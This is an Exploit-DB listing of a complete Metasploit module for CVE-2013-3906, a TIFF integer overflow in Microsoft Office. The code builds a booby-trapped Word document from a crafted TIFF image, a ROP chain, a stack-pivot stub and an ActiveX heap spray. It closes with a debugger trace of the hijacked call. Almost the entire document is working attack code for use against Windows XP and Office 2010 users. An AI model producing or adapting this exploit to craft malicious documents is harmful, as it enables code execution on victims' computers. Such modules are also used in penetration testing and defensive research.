Microsoft - Tagged Image File Format '.TIFF' Integer Overflow (Metasploit)

EDB-ID:

30011




Platform:

Windows

Date:

2013-12-03


##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'
require 'nokogiri'

module ::Nokogiri
module XML
  class Builder
    #
    # Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
    # So here's our hack to get around that by adding a new custom method to the Builder class
    #
    def custom_root(ns)
      e = @parent.create_element(ns)
      e.add_namespace_definition(ns, "href")
      @ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
      return self
    end
  end
end
end


class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Tagged Image File Format (TIFF) Integer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
          It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
          users running Microsoft Office, specifically in the Middle East and South Asia region.

          The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
          drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
          and stored in the EAX register. The 32-bit register will run out of storage space to
          represent the large vlaue, which ends up being 0, but it still gets pushed as a
          dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
          chunk anyway with size 0, and the address of this chunk is used as the destination buffer
          of a memcpy function, where the source buffer is the EXIF data (an extended image format
          supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
          by HeapAlloc will end up being overwritten by the memcpy function, and then later used
          in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
          memory layout using ActiveX, it is possible to gain arbitrary code execution under the
          context of the user.
        },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Some dude wrote it and deployed in the wild, but Haifei Li spotted it
          'sinn3r'   # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3906' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
        ],
      'Payload'        =>
        {
          'PrependEncoder' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
                              "\x83\xC0\x08"             + # add eax, byte 8
                              "\x8b\x20"                 + # mov esp, [eax]
                              "\x81\xC4\x30\xF8\xFF\xFF",  # add esp, -2000
          'BadChars'       => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "process",
          'PrependMigrate' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # XP SP3 + Office 2010 Standard (14.0.6023.1000 32-bit)
          ['Windows XP SP3 with Office Starndard 2010', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 5 2013", # Microsoft announcement
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
        ], self.class)
  end

  #
  # Creates a TIFF that triggers the overflow
  #
  def make_tiff
    # TIFF Header:
    # TIFF ID                               = 'II' (Intel order)
    # TIFF Version                          = 42d
    # Offset of FID                         = 0x000049c8h
    #
    # Image Directory:
    # Number of entries                     = 17d
    # Entry[0]  NewSubFileType              = 0
    # Entry[1]  ImageWidth                  = 256d
    # Entry[2]  ImageHeight                 = 338d
    # Entry[3]  BitsPerSample               = 8 8 8
    # Entry[4]  Compression                 = JPEG (6)
    # Entry[5]  Photometric Interpretation  = RGP
    # Entry[6]  StripOffsets                = 68 entries (349 bytes)
    # Entry[7]  SamplesPerPixel             = 3
    # Entry[8]  RowsPerStrip                = 5
    # Entry[9]  StripByteCounts             = 68 entries (278 bytes)
    # Entry[10] XResolution                 = 96d
    # Entry[11] YResolution                 = 96d
    # Entry[12] Planar Configuration        = Clunky
    # Entry[13] Resolution Unit             = Inch
    # Entry[14] Predictor                   = None
    # Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
    # Entry[16] JPEGInterchangeFormat       = 13636d

    # Notes:
    # These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
    # - JPEGInterchangeFormatLength
    # - DWORD at offset 3324h (0xffffb898), no documentation for this
    # - DWORDS after offset 3328h, no documentation for these, either.
    # The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
    # The trigger is really a TIF file, but is named as a JPEG in the docx package

    buf = ''
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
    ::File.open(path, "rb") do |f|
      buf = f.read
    end

    # Gain control of the call [eax+50h] instruction
    # XCHG EAX, ESP; RETN msvcrt
    buf[0x4874, 4] = [0x200F0700-0x50].pack('V')

    buf
  end


  #
  # Generates a payload
  #
  def get_rop_payload
    p = ''
    p << [0x77c15ed5].pack('V') # XCHG EAX, ESP  msvcrt
    p << generate_rop_payload('msvcrt','',{'target'=>'xp'})
    p << payload.encoded
    block  = p
    block << rand_text_alpha(1024 - 80 - p.length)
    block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt
    block << rand_text_alpha(1024 - block.length)

    buf = ''
    while (buf.length < 0x80000)
      buf << block
    end

    buf
  end


  #
  # Creates an ActiveX bin that will be used as a spray in Office
  #
  def make_activex_bin
    #
    # How an ActiveX bin is referred:
    # document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
    # Every bin is a Microsoft Compound Document File:
    # http://www.openoffice.org/sc/compdocfileformat.pdf

    # The bin file
    mscd  = ''
    mscd << [0xe011cfd0].pack('V')      # File identifier (first 4 byte)
    mscd << [0xe11ab1a1].pack('V')      # File identifier (second 4 byte)
    mscd << [0x00000000].pack('V') * 4  # Unique Identifier
    mscd << [0x003e].pack('v')          # Revision number
    mscd << [0x0003].pack('v')          # Version number
    mscd << [0xfffe].pack('v')          # Byte order: Little-Endian
    mscd << [0x0009].pack('v')          # Sector size
    mscd << [0x0006].pack('v')          # Size of a short-sector
    mscd << "\x00" * 10                 # Not used
    mscd << [0x00000001].pack('V')      # Total number of sectors
    mscd << [0x00000001].pack('V')      # SecID for the first sector
    mscd << [0x00000000].pack('V')      # Not used
    mscd << [0x00001000].pack('V')      # Minimum size of a standard stream
    mscd << [0x00000002].pack('V')      # Sec ID of first sector
    mscd << [0x00000001].pack('V')      # Total number of sectors for the short-sector table
    mscd << [0xfffffffe].pack('V')      # SecID of first sector of the mastser sector table
    mscd << [0x00000000].pack('V')      # Total number of sectors for master sector talbe
    mscd << [0x00000000].pack('V')      # SecIDs
    mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
    mscd[0x200, 4]  = [0xfffffffd].pack('V')
    mscd[0x204, 12] = [0xfffffffe].pack('V') * 3
    mscd << Rex::Text.to_unicode("Root Entry")
    mscd << [0x00000000].pack('V') * 11
    mscd << [0x0016].pack('v')          # Valid range of the previous char array
    mscd << "\x05"                      # Type of entry (Root Storage Entry)
    mscd << "\x00"                      # Node colour of the entry (red)
    mscd << [0xffffffff].pack('V')      # DirID of the left child node
    mscd << [0xffffffff].pack('V')      # DirID of the right child node
    mscd << [0x00000001].pack('V')      # DirID of the root node entry
    mscd << [0x1efb6596].pack('V')
    mscd << [0x11d1857c].pack('V')
    mscd << [0xc0006ab1].pack('V')
    mscd << [0x283628f0].pack('V')
    mscd << [0x00000000].pack('V') * 3
    mscd << [0x287e3070].pack('V')
    mscd << [0x01ce2654].pack('V')
    mscd << [0x00000003].pack('V')
    mscd << [0x00000100].pack('V')
    mscd << [0x00000000].pack('V')
    mscd << Rex::Text.to_unicode("Contents")
    mscd << [0x00000000].pack('V') * 12
    mscd << [0x01020012].pack('V')
    mscd << [0xffffffff].pack('V') * 3
    mscd << [0x00000000].pack('V') * 10
    mscd << [0x000000e4].pack('V')
    mscd << [0x00000000].pack('V') * 18
    mscd << [0xffffffff].pack('V') * 3
    mscd << [0x00000000].pack('V') * 29
    mscd << [0xffffffff].pack('V') * 3
    mscd << [0x00000000].pack('V') * 12
    mscd << [0x00000001].pack('V')
    mscd << [0x00000002].pack('V')
    mscd << [0x00000003].pack('V')
    mscd << [0xfffffffe].pack('V')
    mscd << [0xffffffff].pack('V') * 32 #52
    mscd << [0x77c34fbf].pack('V') # POP ESP # RETN
    mscd << [0x200f0704].pack('V') # Final payload target address to begin the ROP
    mscd << [0xffffffff].pack('V') * 18
    mscd << @rop_payload

    mscd
  end


  #
  # Creates an activeX[num].xml file
  # @param rid [String] The relationship ID (example: rId1)
  # @return [String] XML document
  #
  def make_activex_xml(rid)
    attrs = {
      'ax:classid'     => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
      'ax:license'     => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
      'ax:persistence' => "persistStorage",
      'r:id'           => "rId#{rid.to_s}",
      'xmlns:ax'       => "http://schemas.microsoft.com/office/2006/activeX",
      'xmlns:r'        => @schema
    }
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
      xml.custom_root("ax")
      xml.ocx(attrs)
    end

    builder.to_xml(:indent => 0)
  end


  #
  # Creates an activeX[num].xml.rels
  # @param relationships [Array] A collection of hashes with each containing:
  #                              :id, :type, :target
  # @return [String] XML document
  #
  def make_activex_xml_reals(rid, target_bin)
    acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
        xml.Relationship({:Id=>"rId#{rid.to_s}", :Type=>acx_type, :Target=>target_bin})
    end
    end

    builder.to_xml(:indent => 0)
  end

  #
  # Creates a document.xml.reals file
  # @param relationships [Array] A collection of hashes with each containing:
  #                              :id, :type, and :target
  # @return [String] XML document
  #
  def make_doc_xml_reals(relationships)
    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
      relationships.each do |r|
        xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:target]})
      end
    end
    end

    builder.to_xml(:indent => 0)
  end


  #
  # Creates a _rels/.rels file
  #
  def init_rels(doc_xml, doc_props)
    rels = []
    rels << doc_xml
    rels << doc_props
    rels = rels.flatten

    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
      rels.each do |r|
        xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:fname].gsub(/^\//, '')})
      end
    end
    end

    {
      :fname => "_rels/.rels",
      :data  => builder.to_xml(:indent => 0)
    }
  end


  #
  # Creates a run element for chart
  # @param xml [Element]
  # @param rid [String]
  #
  def create_chart_run_element(xml, rid)
    drawingml_schema = "http://schemas.openxmlformats.org/drawingml/2006"

    xml.r do
      xml.rPr do
        xml.noProof
        xml.lang({'w:val' => "en-US"})
      end

      xml.drawing do
        xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
          xml['wp'].extent({'cx'=>'1', 'cy'=>'1'})
          xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
          xml['wp'].docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
          xml['wp'].cNvGraphicFramePr

          xml['a'].graphic do
            xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
              xml['c'].chart({'r:id'=>"rId#{rid.to_s}"})
            end
          end
        end
      end
    end
  end


  #
  # Creates a run element for ax
  # @param xml [Element]
  # @param rid [String]
  #
  def create_ax_run_element(xml, rid)
    shape_attrs = {
      'id'    => "_x0000_i10#{rid.to_s}",
      'type'  => "#_x0000_t75",
      'style' => "width:1pt;height:1pt",
      'o:ole' => ""
    }

    control_attrs = {
      'r:id'      => "rId#{rid.to_s}",
      'w:name'    => "TabStrip#{rid.to_s}",
      'w:shapeid' =>"_x0000_i10#{rid.to_s}"
    }

    xml.r do
      xml.object({'w:dxaOrig'=>"1440", 'w:dyaOrig'=>"1440"}) do
        xml['v'].shape(shape_attrs)
        xml['w'].control(control_attrs)
      end
    end
  end


  #
  # Creates a pic run element
  # @param xml [Element]
  # @param rid [String]
  #
  def create_pic_run_element(xml, rid)
    drawinxml_schema = "http://schemas.openxmlformats.org/drawingml/2006"

    xml.r do
      xml.rPr do
        xml.noProof
        xml.lang({'w:val'=>"en-US"})
      end

      xml.drawing do
        xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
          xml.extent({'cx'=>'1', 'cy'=>'1'})
          xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"0", 'b'=>"0"})
          xml['wp'].docPr({'id'=>rid.to_s, 'name'=>"image", 'descr'=>"image.jpeg"})
          xml['wp'].cNvGraphicFramePr do
            xml['a'].graphicFrameLocks({'xmlns:a'=>"#{drawinxml_schema}/main", 'noChangeAspect'=>"1"})
          end

          xml['a'].graphic({'xmlns:a'=>"#{drawinxml_schema}/main"}) do
            xml['a'].graphicData({'uri'=>"#{drawinxml_schema}/picture"}) do
              xml['pic'].pic({'xmlns:pic'=>"#{drawinxml_schema}/picture"}) do
                xml['pic'].nvPicPr do
                  xml['pic'].cNvPr({'id'=>rid.to_s, 'name'=>"image.jpeg"})
                  xml['pic'].cNvPicPr
                end

                xml['pic'].blipFill do
                  xml['a'].blip('r:embed'=>"rId#{rid.to_s}", 'cstate'=>"print")
                  xml['a'].stretch do
                    xml['a'].fillRect
                  end
                end

                xml['pic'].spPr do
                  xml['a'].xfrm do
                    xml['a'].off({'x'=>"0", 'y'=>"0"})
                    xml['a'].ext({'cx'=>"1", 'cy'=>"1"})
                  end

                  xml['a'].prstGeom({'prst' => "rect"}) do
                    xml['a'].avLst
                  end
                end
              end
            end
          end
        end
      end
    end
  end


  #
  # Creates a document.xml file
  # @param pre_defs [Array]
  # @param activex [Array]
  # @param tiff_file [Array]
  # @return [String] XML document
  #
  def init_doc_xml(last_rid, pre_defs, activex, tiff_file)
    # Get all the required pre-defs
    chart_rids = []
    pre_defs.select { |e| chart_rids << e[:id] if e[:fname] =~ /\/word\/charts\//}

    # Get all the ActiveX RIDs
    ax_rids = []
    activex.select { |e| ax_rids << e[:id] }

    # Get the TIFF RID
    tiff_rid = tiff_file[:id]

    # Documentation on how this is crafted:
    # http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
    doc_attrs = {
      'xmlns:ve'  => "http://schemas.openxmlformats.org/markup-compatibility/2006",
      'xmlns:o'   => "urn:schemas-microsoft-com:office:office",
      'xmlns:r'   => @schema,
      'xmlns:m'   => "http://schemas.openxmlformats.org/officeDocument/2006/math",
      'xmlns:v'   => "urn:schemas-microsoft-com:vml",
      'xmlns:wp'  => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
      'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
      'xmlns:w'   => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
      'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
      'xmlns:a'   => "http://schemas.openxmlformats.org/drawingml/2006/main",
      'xmlns:c'   => "http://schemas.openxmlformats.org/drawingml/2006/chart"
    }

    p_attrs_1 = {'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
    p_attrs_2 = {'w:rsidR' => "00D15BD0", 'w:rsidRPr' =>"00D15BD0", 'w:rsidRDefault' => "00D15BD0" }

    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
      xml.custom_root("w")

      xml.document(doc_attrs) do
        xml.body do
          # Paragraph (ActiveX)
          xml.p(p_attrs_1) do
            # Paragraph properties
            xml.pPr do
              # Run properties
              xml.rPr do
                xml.lang({'w:val' => "en-US"})
              end
            end

            ax_rids.each do |rid|
              create_ax_run_element(xml, rid)
            end
          end

          xml.p(p_attrs_2) do
            xml.pPr do
              xml.rPr do
                xml['w'].lang({'w:val'=>"en-US"})
              end
            end

            # Charts
            chart_rids.each do |rid|
              create_chart_run_element(xml, rid)
            end

            # TIFF
            create_pic_run_element(xml, tiff_rid)
          end
        end
      end
    end

    {
      :id           => (last_rid + 1).to_s,
      :type         => "#{@schema}/officeDocument",
      :fname        => "/word/document.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
      :xml          => builder.to_xml(:indent => 0)
    }
  end

  #
  # Creates a [Content.Types].xml file located in the parent directory
  # @param overrides [Array] A collection of hashes with each containing
  #                          the :PartName and :ContentType info
  # @return [String] XML document
  #
  def make_contenttype_xml(overrides)
    contenttypes = [
      {
        :Extension   => "rels",
        :ContentType => "application/vnd.openxmlformats-package.relationships+xml"
      },
      {
        :Extension   => "xml",
        :ContentType => "application/xml"
      },
      {
        :Extension   => "jpeg",
        :ContentType => "image/jpeg"
      },
      {
        :Extension   => "bin",
        :ContentType => "application/vnd.ms-office.activeX"
      },
      {
        :Extension  => "xlsx",
        :ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
      }
    ]

    md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
    builder = ::Nokogiri::XML::Builder.with(md) do |xml|
    xml.Types({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
      # Default extensions
      contenttypes.each do |contenttype|
        xml.Default(contenttype)
      end

      # Additional overrides
      overrides.each do |override|
        override_attrs = {
          :PartName    => override[:PartName] || override[:fname],
          :ContentType => override[:ContentType]
        }
        xml.Override(override_attrs)
      end
    end
    end

    builder.to_xml(:indent => 0)
  end


  #
  # Pre-define some items that will be used in .rels
  #
  def init_doc_props(last_rid)
    items = []
    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/extended-properties",
      :fname        => "/docProps/app.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.extended-properties+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties",
      :fname        => "/docProps/core.xml",
      :content_type => "application/vnd.openxmlformats-package.core-properties+xml"
    }

    return last_rid, items
  end


  #
  # Pre-define some items that will be used in document.xml.rels
  #
  def init_doc_xml_rels_items(last_rid)
    items = []
    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/styles",
      :fname        => "/word/styles.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/settings",
      :fname        => "/word/settings.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/webSettings",
      :fname        => "/word/webSettings.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/fontTable",
      :fname        => "/word/fontTable.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/theme",
      :fname        => "/word/theme/theme1.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.theme+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/chart",
      :fname        => "/word/charts/chart1.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/chart",
      :fname        => "/word/charts/chart2.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/chart",
      :fname        => "/word/charts/chart3.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/chart",
      :fname        => "/word/charts/chart4.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/chart",
      :fname        => "/word/charts/chart5.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }

    items << {
      :id           => (last_rid += 1),
      :type         => "#{@schema}/chart",
      :fname        => "/word/charts/chart6.xml",
      :content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
    }

    return last_rid, items
  end


  #
  # Manually create everything manually in the ActiveX directory
  #
  def init_activex_files(last_rid)
    activex = []

    0x250.times do |i|
      id = (last_rid += 1)

      bin  = {
        :fname => "/word/activeX/activeX#{id.to_s}.bin",
        :bin => make_activex_bin
      }

      xml  = {
        :fname => "/word/activeX/activeX#{id.to_s}.xml",
        :xml => make_activex_xml(id)
      }

      rels = {
        :fname => "/word/activeX/_rels/activeX#{id.to_s}.xml.rels",
        :rels => make_activex_xml_reals(id, "activeX#{id.to_s}.bin")
      }

      ct   = "application/vnd.ms-office.activeX+xml"
      type = "#{@schema}/control"

      activex << {
        :id           => id,
        :bin          => bin,
        :xml          => xml,
        :rels         => rels,
        :content_type => ct,
        :type         => type
      }
    end

    return last_rid, activex
  end


  #
  # Create a [Content_Types.xml], each node contains these attributes:
  # :PartName     The path to an ActiveX XML file
  # :ContentType  The contenttype of the XML file
  #
  def init_contenttype_xml_file(*items)
    overrides = []
    items.each do |item|
      item.each do |obj|
        overrides << {:PartName => obj[:fname] || obj[:xml][:fname], :ContentType => obj[:content_type]}
      end
    end

    {:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
  end


  #
  # Creates the tiff file
  #
  def init_tiff_file(last_rid)
    id = last_rid + 1
    tiff_data = {
      :id   => id,
      :fname => "/word/media/image1.jpeg",
      :data  => make_tiff,
      :type  => "#{@schema}/image"
    }

    return id, tiff_data
  end

  #
  # Create the document.xml.rels file
  #
  def init_doc_xml_reals_file(pre_defs, activex, tiff)
    reals = []
    pre_defs.each do |obj|
      reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '')}
    end

    activex.each do |obj|
      reals << {:id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '')}
    end

    reals << {:id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '')}

    {:fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
  end

  #
  # Loads a fiile
  #
  def read_file(fname)
    buf = ''
    ::File.open(fname, "rb") do |f|
      buf << f.read
    end

    buf
  end


  #
  # Packages everything to docx
  #
  def make_docx(path)
    print_status("Initializing files...")
    last_rid = 0
    last_rid, doc_xml_rels_items = init_doc_xml_rels_items(last_rid)
    last_rid, activex            = init_activex_files(last_rid)
    last_rid, doc_props          = init_doc_props(last_rid)
    last_rid, tiff_file          = init_tiff_file(last_rid)
    doc_xml                      = init_doc_xml(last_rid, doc_xml_rels_items, activex, tiff_file)
    ct_xml_file                  = init_contenttype_xml_file(activex, doc_xml_rels_items, doc_props, [doc_xml])
    doc_xml_reals_file           = init_doc_xml_reals_file(doc_xml_rels_items, activex, tiff_file)
    rels_xml                     = init_rels(doc_xml, doc_props)

    zip = Rex::Zip::Archive.new
    Dir["#{path}/**/**"].each do |file|
      p = file.sub(path+'/','')

      if File.directory?(file)
        print_status("Packing directory: #{p}")
        zip.add_file(p)
      else
        # Avoid packing image1.jpeg because we'll load it separately
        if file !~ /media\/image1\.jpeg/
          print_status("Packing file: #{p}")
          zip.add_file(p, read_file(file))
        end
      end
    end

    print_status("Packing ActiveX controls...")
    activex.each do |ax|
      ax_bin  = ax[:bin]
      ax_xml  = ax[:xml]
      ax_rels = ax[:rels]

      vprint_status("Packing file: #{ax_bin[:fname]}")
      zip.add_file(ax_bin[:fname], ax_bin[:bin])

      vprint_status("Packing file: #{ax_xml[:fname]}")
      zip.add_file(ax_xml[:fname], ax_xml[:xml])

      vprint_status("Packing file: #{ax_rels[:fname]}")
      zip.add_file(ax_rels[:fname], ax_rels[:rels])
    end

    print_status("Packing file: #{ct_xml_file[:fname]}")
    zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])

    print_status("Packing file: #{tiff_file[:fname]}")
    zip.add_file(tiff_file[:fname], tiff_file[:data])

    print_status("Packing file: #{doc_xml[:fname]}")
    zip.add_file(doc_xml[:fname], doc_xml[:xml])

    print_status("Packing file: #{rels_xml[:fname]}")
    zip.add_file(rels_xml[:fname], rels_xml[:data])

    print_status("Packing file: #{doc_xml_reals_file[:fname]}")
    zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])

    zip.pack
  end

  def exploit
    @rop_payload = get_rop_payload
    @schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
    docx = make_docx(path)
    file_create(docx)
  end

end

=begin

0:000> r
eax=414242f4 ebx=00000000 ecx=22a962a0 edx=44191398 esi=22c4d338 edi=1cfe5dc0
eip=44023a2a esp=0011fd8c ebp=0011fd98 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
OGL!GdipCreatePath+0x58:
44023a2a ff5050          call    dword ptr [eax+50h]  ds:0023:41424344=????????
0:000> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
0011fd98 437a9681 OGL!GdipCreatePath+0x58
0011fdc8 437b11b0 gfx+0x9681
0011fdf0 422b56e5 gfx+0x111b0
0011fe18 422a99f7 oart!Ordinal3584+0x86
0011fed8 422a9921 oart!Ordinal7649+0x2b2
0011fef0 422a8676 oart!Ordinal7649+0x1dc
001200bc 422a85a8 oart!Ordinal4145+0x199
001200fc 424898c6 oart!Ordinal4145+0xcb
001201bc 42489b56 oart!Ordinal3146+0xb15
001202cc 422a37df oart!Ordinal3146+0xda5
00120330 422a2a73 oart!Ordinal2862+0x14e
00120360 317821a9 oart!Ordinal2458+0x5e
001203bc 31782110 wwlib!GetAllocCounters+0x9bd51
001204a4 3177d1f2 wwlib!GetAllocCounters+0x9bcb8
001207ec 3177caef wwlib!GetAllocCounters+0x96d9a
0012088c 3177c7a0 wwlib!GetAllocCounters+0x96697
001209b0 3175ab83 wwlib!GetAllocCounters+0x96348
001209d4 317569e0 wwlib!GetAllocCounters+0x7472b
00120ad4 317540f5 wwlib!GetAllocCounters+0x70588
00120afc 3175400b wwlib!GetAllocCounters+0x6dc9d

  To-do:
  Turn the docx packaging into a mixin. Good luck with that. 
  
=end